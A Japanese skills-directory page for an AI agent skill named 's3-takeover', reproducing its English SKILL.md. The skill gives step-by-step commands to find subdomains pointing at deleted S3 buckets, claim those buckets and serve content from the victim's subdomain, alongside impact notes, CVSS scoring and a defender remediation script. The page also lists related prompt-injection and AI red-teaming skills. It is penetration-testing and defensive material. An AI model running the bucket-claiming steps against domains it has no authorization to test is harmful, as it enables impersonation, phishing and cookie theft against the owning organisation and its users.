s3-takeover
できること
このスキルは、もう存在しないAmazon S3のストレージバケットを指しているサブドメインのレコードを扱います。悪用されうるDNSのレコードを確認するチーム向けです。
使う場面
- ✓削除したS3バケットを指しているDNSのレコードを見つけたいとき。
- ✓認可されたテストで、宙に浮いたクラウドストレージのレコードがないかを確認するとき。
- ✓サイトを移行した後に、古いサブドメインを整理しているとき。
スキルのリンク
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/s3-takeover/SKILL.mdコピーしてAI(Claude、ChatGPT、Cursor)に貼り付け、指示に従うよう頼んでください。
使い方
いちばん簡単な方法:メッセージをコピーしてAIに貼り付けるだけ。AIがスキルを読んで指示に従います。
貼り付け用メッセージ
Claude Code、Codex、Cursorの場合:プロジェクトのフォルダで実行するとスキルがインストールされます。
SKILL.mdをダウンロードして、エージェントのスキル用フォルダに入れてください。
AIへの頼み方の例
“古いS3バケットを削除しました。まだ削除したバケットを指しているサブドメインがないかを確認してもらえますか。”
毎週5つの新しいスキル。1分で読めます。
仕組み
エージェントはサブドメインを一覧にし、S3のホストを指すものを確認して、各バケットがまだ存在するかを確かめます。宙に浮いたレコードは削除するか、自分が管理するものに向け直します。
技術的な内容(元のSKILL.md)
作者による元のテキスト(英語)をGitHubからそのまま表示しています。
S3 Subdomain Takeover
When a subdomain has a CNAME to an S3 hostname (e.g.
assets.example.com → assets-example.s3.amazonaws.com) but the bucket
no longer exists, anyone can register that bucket name and serve
content from the subdomain.
1. Enumerate subdomains pointing at S3
From recon SUMMARY.md, look for any CNAME containing:
s3.amazonaws.coms3-website-<region>.amazonaws.coms3.<region>.amazonaws.coms3-website.<region>.amazonaws.com<bucket>.s3.<region>.amazonaws.com- CloudFront/CDN distributions backed by S3 (
.cloudfront.net)
Or run direct:
# Subdomain dump
subfinder -d example.com -silent > /tmp/subs.txt
# Check CNAMEs
for s in $(cat /tmp/subs.txt); do
cname=$(dig +short CNAME "$s" 2>/dev/null | head -1)
if echo "$cname" | grep -qE 's3.*amazonaws|cloudfront'; then
echo "$s -> $cname"
fi
done > /tmp/s3-candidates.txt
2. Verify dangling
For each candidate:
# Try to GET the subdomain - look for the S3 "NoSuchBucket" error
curl -s -o /tmp/r.html "https://$SUBDOMAIN/" -w '%{http_code}\n'
grep -E 'NoSuchBucket|BucketNotFound|<Code>NoSuchBucket</Code>' /tmp/r.html
# Or query the bucket name directly
BUCKET=$(echo "$CNAME" | awk -F'.' '{print $1}')
aws s3 ls "s3://$BUCKET/" --no-sign-request 2>&1
# "NoSuchBucket" / "The specified bucket does not exist" = dangling
Decepticon helper:
s3_takeover_check("<subdomain>")
3. Claim the bucket
# In the SAME region the CNAME implies
aws s3api create-bucket \
--bucket "$BUCKET" \
--region us-east-1 \
--create-bucket-configuration LocationConstraint=us-east-1
# (us-east-1 omits the LocationConstraint)
Race conditions:
- AWS sometimes blocks names of recently-deleted buckets (cooldown). If it errors with "BucketAlreadyExists" or "Bucket name reserved", the takeover window has closed (or is gated).
- For high-value targets, attempt in different regions — some CNAMEs don't specify region and AWS DNS resolves to whichever region you create the bucket in.
4. Demonstrate impact (safe)
Static page proof (engagement context — get explicit permission first):
echo '<h1>S3 subdomain takeover PoC</h1><p>Demonstrated by ENGAGEMENT-ID</p>' > /tmp/index.html
aws s3 cp /tmp/index.html "s3://$BUCKET/index.html"
aws s3 website "s3://$BUCKET/" --index-document index.html
# Now curl https://$SUBDOMAIN/ returns your content
DO NOT:
- Serve actual exploit content (XSS, drive-by, phishing)
- Capture cookies even though you can (same-origin to the org)
- Leave the bucket up post-engagement
DO:
- Take a timestamped screenshot of your benign content served from the subdomain
- Hand the bucket name over to defender for transfer / cooldown
- Delete the bucket after PoC:
aws s3 rb "s3://$BUCKET" --force
5. Impact framing
A claimed S3 bucket on an org subdomain gives:
- Same-origin scripting vs every page on that subdomain
- Cookie access for cookies scoped to the parent domain (
.example.com) - OAuth redirect_uri abuse if the subdomain is a registered redirect
- MITM-class trust — orgs publish links to the subdomain assuming control
- TLS is "free" via the org's own ACM cert if Route 53 + ACM are configured, otherwise it's an HTTP-only takeover (still bad)
6. Promote
kg_add_node(kind="vulnerability", label="S3 takeover: <subdomain>",
props={"severity":"high","bucket":"<bucket>","region":"<region>"})
kg_add_edge(src=<vuln>, dst=<crown_jewel:org-domain>, kind="grants-impersonation")
CVSS
- Subdomain with active OAuth flow / cookie scope:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N= 8.7 - Static-content subdomain only:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N= 7.5 - Subdomain with no apparent purpose (unused): Medium 5-6
Defender remediation
# Find every S3 CNAME the org publishes
aws route53 list-hosted-zones --query 'HostedZones[].Id' --output text | \
xargs -I{} aws route53 list-resource-record-sets --hosted-zone-id {} \
--query 'ResourceRecordSets[?Type==`CNAME`]' --output json > /tmp/cnames.json
# Cross-check against existing buckets
jq -r '.[] | select(.ResourceRecords[].Value | test("s3.*amazonaws")) | .Name' /tmp/cnames.json | \
while read sd; do
bucket=$(dig +short CNAME "$sd" | head -1 | sed 's/.s3.*//; s/.$//')
aws s3api head-bucket --bucket "$bucket" 2>&1 | grep -q "Not Found" && echo "DANGLING: $sd -> $bucket"
done
Known exemplars
- 2017: Uber subdomain
よくある質問
残されたバケットのレコードがなぜ危険なのですか?
誰でもその名前のバケットを作り、自社のサブドメインからコンテンツを配信できてしまうからです。
宙に浮いたレコードはどう確認しますか?
アドレスにリクエストしたときに、そのようなバケットは存在しないという応答が返るかで確認します。
修正方法は何ですか?
DNSのレコードを削除するか、自分が管理するバケットを指すように変更します。
詳細
作者による元の説明
Detect and claim dangling S3 buckets referenced by subdomains (CNAME → s3 hostnames where bucket no longer exists).
人気
- GitHubのスター
- 6.5k
- ランキング
- #14001
- ライセンス
- Apache-2.0
- 更新日
- 2026/11/1
コメント
- …
このリポジトリの他のスキル
detector-overview
6.5kエージェントが、スキャナーが指摘したコードを読み、本物のセキュリティバグと誤検知を見分けられるよう支援します。
exploiter-overview
6.5kエージェントが、確認済みの複数のセキュリティ上の弱点を一つのテストの連鎖にまとめ、その影響がどこまで及ぶかを確認できるよう支援します。
llm-redteam-overview
6.5kエージェントが、プロンプトインジェクションからモデルの悪用まで、15の戦術グループの中から適切なAIレッドチーム用ガイドを見つけられるよう支援します。
aatmf-t01-prompt-injection
6.5kプロンプトインジェクションを説明します。隠された指示でAIシステムを乗っ取ろうとする手口を、セキュリティテスターが確認できるようにします。
似ているスキル
reverse-engineer-anything
422kREAツールを使って、出荷済みのアプリやパッケージの中身を調べ、機能の説明、版の比較、再構築の手順をエージェントが支援します。
1password
394k1Password CLIをセットアップし、サインインして、秘密情報の値を会話に表示せずに読み取ったり注入したりするようエージェントを支援します。
healthcheck
394kOpenClawを動かすコンピューターやサーバーを、SSH、ファイアウォール、更新、バックアップなどのセキュリティリスクについて監査し、安全な修正案を提案するようエージェントを支援します。